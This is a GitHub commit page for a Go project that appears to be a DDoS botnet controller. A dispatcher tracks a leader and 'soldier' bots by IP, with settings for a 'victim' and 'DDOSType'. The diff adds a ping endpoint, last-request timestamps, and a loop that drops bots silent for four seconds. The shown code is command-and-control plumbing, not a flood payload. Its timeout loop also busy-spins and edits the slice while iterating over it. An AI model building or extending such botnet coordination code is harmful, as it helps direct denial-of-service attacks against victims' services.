Skip to content

Commit

Permalink
remove soldier after time out
Browse files Browse the repository at this point in the history
  • Loading branch information
MahdiAw committed Apr 12, 2023
1 parent bc995f5 commit ac7ff66
Show file tree
Hide file tree
Showing 4 changed files with 77 additions and 19 deletions.
33 changes: 24 additions & 9 deletions client/client.go
Expand Up @@ -189,7 +189,22 @@ func (c *Client) Start() {
}()
wg.Wait()
}

func (l *Leader) Shutdown() error {
// delete request to /system
rq, err := http.NewRequest("DELETE", l.DispatcherServer+"/system", nil)
if err != nil {
return err
}
rq.Header.Set("Authorization", l.Password)
do, err := l.Do(rq)
if err != nil {
return err
}
if do.StatusCode == http.StatusOK {
return nil
}
return errors.New("error in shutting down")
}
func (l *Leader) ListenChangeView(changedDataChan chan CampAPI) {
prevCamp := l.GetCamp()
changedDataChan <- prevCamp
Expand All @@ -206,15 +221,17 @@ func (l *Leader) ListenChangeView(changedDataChan chan CampAPI) {
}
}
func (l *Leader) Start() {

func() {
defer func() {
if r := recover(); r != nil {
color.Red("Dispatcher server is not running")
os.Exit(0)
}
}()
l.GetCamp()
err := l.Ping()
if err != nil {
panic(err)
}
}()

var changedDataChan = make(chan CampAPI, 1)
Expand All @@ -232,19 +249,17 @@ func (l *Leader) Start() {
}()
wg.Wait()
}
func (l *Leader) Shutdown() error {
// delete request to /system
rq, err := http.NewRequest("DELETE", l.DispatcherServer+"/system", nil)
func (c *Client) Ping() error {
rq, err := http.NewRequest("GET", c.DispatcherServer+"/ping", nil)
if err != nil {
return err
}
rq.Header.Set("Authorization", l.Password)
do, err := l.Do(rq)
do, err := c.Do(rq)
if err != nil {
return err
}
if do.StatusCode == http.StatusOK {
return nil
}
return errors.New("error in shutting down")
return errors.New("error in pinging")
}
23 changes: 13 additions & 10 deletions dispatcher/camp.go
@@ -1,13 +1,16 @@
package dispatcher

import "time"

type Leader struct {
Name string `json:"name"`
AuthenticationHash string `json:"-"`
}

type Soldier struct {
Name string `json:"name"`
Ip string `json:"ip"`
Name string `json:"name"`
Ip string `json:"ip"`
LastRequest time.Time `json:"last_request"`
}

const (
Expand Down Expand Up @@ -43,22 +46,22 @@ func (c *Camp) RemoveSoldier(name string) {
}
}
}
func (c *Camp) GetSoldierByName(name string) Soldier {
for _, soldier := range c.Soldiers {
func (c *Camp) GetSoldierByName(name string) *Soldier {
for index, soldier := range c.Soldiers {
if soldier.Name == name {
return soldier
return &c.Soldiers[index]
}
}
return Soldier{}
return nil
}

func (c *Camp) GetSoldierByIp(ip string) Soldier {
for _, soldier := range c.Soldiers {
func (c *Camp) GetSoldierByIp(ip string) *Soldier {
for index, soldier := range c.Soldiers {
if soldier.Ip == ip {
return soldier
return &c.Soldiers[index]
}
}
return Soldier{}
return nil
}
func (c *Camp) SoldierExists(name string) bool {
for _, soldier := range c.Soldiers {
Expand Down
14 changes: 14 additions & 0 deletions dispatcher/dispatcher.go
Expand Up @@ -4,6 +4,7 @@ import (
"crypto/md5"
"encoding/hex"
"sync"
"time"
)

type Dispatcher struct {
Expand Down Expand Up @@ -62,3 +63,16 @@ func (c *Camp) UpdateSettings(status, victim, ddosType string) {
c.Settings.DDOSType = ddosType
}
}
func (d *Dispatcher) ScanAndRemoveTimeOutSoldiers() {
c := &d.Cmp
for {
for i, soldier := range c.Soldiers {
if soldier.LastRequest.IsZero() {
continue
}
if time.Now().Sub(soldier.LastRequest) > time.Second*4 {
c.Soldiers = append(c.Soldiers[:i], c.Soldiers[i+1:]...)
}
}
}
}
26 changes: 26 additions & 0 deletions dispatcher/server.go
Expand Up @@ -6,15 +6,37 @@ import (
"net"
"net/http"
"os"
"time"
)

func HandlePing(writer http.ResponseWriter, request *http.Request) {
if request.Method == "GET" {
_, _ = writer.Write([]byte("pong"))
}
}

func HandleCamp(writer http.ResponseWriter, request *http.Request, d *Dispatcher) {
if request.Method == "GET" {

err := json.NewEncoder(writer).Encode(d.Cmp)
if err != nil {
http.Error(writer, err.Error(), http.StatusBadRequest)
return
}
//update soldier last request
ip, _, err := net.SplitHostPort(request.RemoteAddr)
if err != nil {
http.Error(writer, err.Error(), http.StatusBadRequest)
return
}
soldier := d.Cmp.GetSoldierByIp(ip)
if soldier == nil {
//maybe its first request or its leader
return
}
if soldier.Name != "" {
soldier.LastRequest = time.Now()
}
}
if request.Method == "POST" {
//add soldier to camp
Expand Down Expand Up @@ -132,12 +154,16 @@ func isAuthorized(auth string, hash string) bool {
}

func Start(d *Dispatcher) {
go d.ScanAndRemoveTimeOutSoldiers()
http.HandleFunc("/camp", func(writer http.ResponseWriter, request *http.Request) {
HandleCamp(writer, request, d)
})
http.HandleFunc("/system", func(writer http.ResponseWriter, request *http.Request) {
HandleSystem(writer, request, d)
})
http.HandleFunc("/ping", func(writer http.ResponseWriter, request *http.Request) {
HandlePing(writer, request)
})
color.Green("Starting dispatcher server on %s:%s", d.ListeningAddress, d.ListeningPort)
err := http.ListenAndServe(d.ListeningAddress+":"+d.ListeningPort, nil)
if err != nil {
Expand Down

0 comments on commit ac7ff66

Please sign in to comment.